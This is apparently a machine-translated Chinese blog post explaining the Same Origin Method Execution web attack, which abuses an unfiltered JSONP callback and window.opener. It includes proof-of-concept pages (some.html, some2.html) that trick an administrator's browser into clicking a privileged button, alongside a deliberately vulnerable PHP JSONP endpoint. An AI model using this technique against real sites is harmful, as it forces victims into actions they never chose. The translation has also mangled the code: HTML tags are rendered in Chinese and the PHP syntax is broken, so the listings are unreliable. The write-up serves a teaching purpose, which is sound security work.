Same Origin Method Execution

责声明">
Author: lightless@Meili-incDate: 201710260x00 什么是Same Origin Method Execution先贴一篇paper,这个是Ben Hayak在…
作者: lightless @ Meili-inc 日期: 20171026 0x00什么是同源方法执行 首先发表一篇论文,这是Ben Hayak在Black Hat Eorope 2014上的主题,关于如何使用JSONP等回调执行方法,特别是在过滤回调的参数名称之后。 我们都知道JSONP可以使用回调的特性来跨域传输数据,毫无疑问,数据可以在域之间传递。让我们考虑一下这种情况。网站提供颜色选择器以在编辑文章时调整文本颜色。此颜色选择器是一个弹出窗口,通过回调参数与原始页面进行通信。具体来说,它可能如下所示: http://a.com/color.php?callback=get_color color.php的一些内容可能如下: <脚本> 函数  get_color(data)  {      //  todo 此处 } < /脚本> 也就是说,当访问color.php?callback=get_color时,在当前页面上执行get_color函数以进行数据处理等。如果开发人员不注意,则存在安全风险。我们可以利用此回调缺陷来执行用户不期望的敏感操作。请注意,这不是CSRF。一旦CSRF有令牌,就不能使用它(不考虑同源XSS),但是SOME可以绕过敏感操作的限制。 但是,此漏洞也很有限。如果此JSONP返回类似于Content-T ype: application/json的值,则无法使用它,因为此代码将不会被执行。通常只返回Content-Type: text/html以利用这个机会。有一种更简单的判断方法,当您修改URL中的回调值时,查看控制台是否有类似的方法来查找方法xx,未定义的方法xx,如果有的话,可以是简单的假设函数对应于此回调将被执行。 0x01使用前的理论依据
在JavaScrip中,我们可以通过window.open()方法打开一个新窗口,新窗口和原始窗口可以相互交互。 Page1.html <脚本>      var  win1 =  window.open('page2.html', '_black'); < /脚本> Page2.html <脚本>      var  bodyElem =  window.opener.document.body; < /脚本> 从上面的代码可以看出,原始页面可以通过变量获取新页面,新页面可以通过window.opener获取原始页面,这也为SOME的使用提供了基础,当然,先决条件是page1和page2需要是同源的。 我们有一个可以执行任何方法的接口,我们知道我们可以通过开启者获取原始页面,然后我们可以使用此功能让用户做他们不想要的事情。 0x02利用过程
准备some.html页面 让some.html打开some2.html页面 Some.html跳转到目标页面(具有敏感操作dom的页面,例如单击以删除订单的页面,单击以添加敏感操作,例如用户) some.html跳转完成后,让some2.html跳转到找到的JSONP接口,并修改回调到我们的有效负载。 用来完成。 光看起来很难过,我发布了相关文件的代码。 Info.php,JSONP接口,获取用户信息; < PHP $ callback =  empty($ _ GET ['callback'])  'jsCallback'   $ _GET ['callback']; $ data =  [     '用户名' => '无光',     'avatar' => 'http://cdn.lightless.me/images/01.jpg', ]。 $ data =  json_encode($ data); Echo '< script>'; Echo  $回调  '('   $ data  ')'; Echo '</script>'; Secret.html,一个包含敏感DOM的页面,它有一个敏感按钮,可以触发一些动作 < HTML> <身体GT; <形式>     <按钮  onclick='cc()'>秘密 按钮< /按钮>     < label>访问 令牌: </label>     < input  readonly  value='abcdefg'> &LT峰; br>     < label>密码 令牌: </label>     <输入 只读 值='123456'> < /形式> <脚本>     函数  cc()  {          alert('cc  click!');     } < /脚本> < /体> </HTML> 假设上面两部分是http://b.com/user.php?callback=view和http://b.com/secret.html,其中secret.html和按钮的内容只能由管理员查看和操作,其他人都没有。有权查看。我们的目标是“让管理员点击”秘密按钮“按钮。 接下来我们构建POC。首先必须有some.html,它负责打开一个新页面并将当前页面重定向到包含敏感DOM的页面,secret.html。 Some.html <脚本>     函数  start_some()  {          window.open('some2.html');          location.replace('http://b.com/secret.php');     }      setTimeout(start_some(),  1000); < /脚本> 最后的some2.html页面需要等待some.html重定向完成,重定向到JSONP接口,并使用此接口在window.opener(现在已成为b.com/secret.html)上执行操作。 Some2.html <脚本>     函数  attack()  {          location.replace('http://b.com/info.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click');     }      setTimeout(attack,  2000); < /脚本> 这样,当用户访问http://attacker.com/some.html时,b.com上的敏感操作实际上已被执行。 0x03结束 我在这里录制了一段视频来演示这个过程的使用:https://ol72orml7.qnssl.com/SOME-VIDEO.mp4,学生需要接受它。
  • 发表于 2017-10-30 08:00
  • 阅读 ( 605 )
  • 分类:黑客技术

你可能感兴趣的文章

相关问题

0 条评论

请先 登录 后评论
不写代码的码农
黑客

2107 篇文章

作家榜 »

  1. 黑客 2107 文章